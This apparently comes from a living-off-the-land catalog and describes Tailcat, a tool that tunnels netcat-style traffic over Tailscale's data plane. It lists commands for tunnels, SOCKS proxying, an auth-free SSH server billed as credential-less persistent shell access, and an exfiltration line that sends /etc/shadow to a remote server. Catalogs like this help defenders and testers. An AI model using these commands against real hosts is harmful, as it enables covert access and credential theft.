.. /Tailcat
Star

Install
Access
Shell Access
Exfiltration

Tailcat is netcat over Tailscale’s data plane without the control plane. It reuses Tailscale’s open WireGuard, magicsock, and DERP code. One side starts a server and gets a short token (tc…), the other connects with it. Connections start through a DERP relay and try to upgrade to direct UDP. If hole punching fails, traffic stays relayed. No account or root needed. It runs entirely in userspace, works with custom DERP servers, has a browser WASM demo, and can publish tokens as DNS TXT records.

Paths:

Resources:

Detections:

Install

  1. Installs the tailcat CLI (also available via nix run github:tailscale/tailcat).

    go install github.com/tailscale/tailcat/cmd/tailcat@latest
    Use case
    Install the tailcat binary to create WireGuard tunnels without the control plane.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS, BSD

Access

  1. Starts an ephemeral server (generates a fresh in-memory WireGuard key) that pipes stdin/stdout over the tunnel and prints its token (e.g. tcomFwWCC...). With --serve=<PORT|all|exit-node> it forwards a local TCP port or acts as an exit node instead of piping stdio.

    tailcat
    Use case
    Create a one-time encrypted tunnel and expose stdin/stdout or a local service through it; exit-node mode routes the client's traffic via the server's network.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS, BSD

  2. Client connects to a tailcat server using its token and dials a TCP port through the WireGuard tunnel (gVisor netstack on both sides). Example - tailcat tcXXXXXXXXX 8080. With no PORT argument it connects stdin/stdout.

    tailcat <TOKEN> <PORT>
    Use case
    Reach an internal service or pipe data through the encrypted tunnel from outside the target network.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS, BSD

  3. Starts a SOCKS5 proxy routed over the tailcat tunnel. Any SOCKS-aware tool can be proxied (e.g. tailcat socks <TOKEN> curl ...). Tokens also work as case-sensitive URL hostnames directly (tailcat socks curl http://<TOKEN>:8081/).

    tailcat socks <TOKEN> -- curl http://server.tailcat:8081/
    Use case
    Proxy arbitrary TCP traffic and tools through the tunnel to reach the server's network or localhost services.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS, BSD

Shell Access

  1. Runs an auth-free SSH server (Linux/macOS; uses gliderlabs/ssh with an ed25519 host key in ~/.config/tailcat/ssh/) reachable only over the tailcat tunnel. WireGuard authenticates the peer before SSH is reached. Use --serve=22 to proxy to the system SSH server with normal auth.

    tailcat --serve=no-auth-ssh
    Use case
    Persistent shell access to a host behind NAT/firewall with no inbound open ports and no credentials.
    Privileges required
    User
    Operating systems
    Linux, MacOS

  2. SSH client over tailcat. Connects to a tailcat SSH server and either opens an interactive PTY shell or executes a single command (e.g. tailcat ssh tcXXXXXXXXX ls -la).

    tailcat ssh <TOKEN> [COMMAND]
    Use case
    Interactive or non-interactive remote shell through the WireGuard tunnel.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS, BSD

Exfiltration

  1. Pipes a file or command output through the client into the server's stdout (server was started with bare tailcat and blocks until a client connects). Works in both directions for upload/download.

    cat /etc/shadow | tailcat <TOKEN>
    Use case
    Exfiltrate files or pipe data between two machines over the encrypted DERP-relayed / direct tunnel.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS, BSD